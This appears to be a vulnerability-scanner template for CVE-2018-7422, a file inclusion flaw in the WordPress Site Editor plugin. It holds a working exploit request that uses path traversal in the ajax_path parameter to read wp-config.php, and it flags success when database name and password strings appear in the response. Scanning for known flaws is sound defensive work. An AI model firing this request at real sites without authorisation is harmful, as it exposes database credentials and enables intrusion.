28 lines
879 B
YAML
28 lines
879 B
YAML
|
id: CVE-2018-7422
|
||
|
|
||
|
info:
|
||
|
name: WordPress Site Editor Plugin LFI
|
||
|
author: LuskaBol
|
||
|
severity: high
|
||
|
tags: cve,cve2018,wordpress,wp-plugin,lfi
|
||
|
description: A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
|
||
|
reference: https://www.exploit-db.com/exploits/44340
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php'
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "DB_NAME"
|
||
|
- "DB_PASSWORD"
|
||
|
part: body
|
||
|
condition: and
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|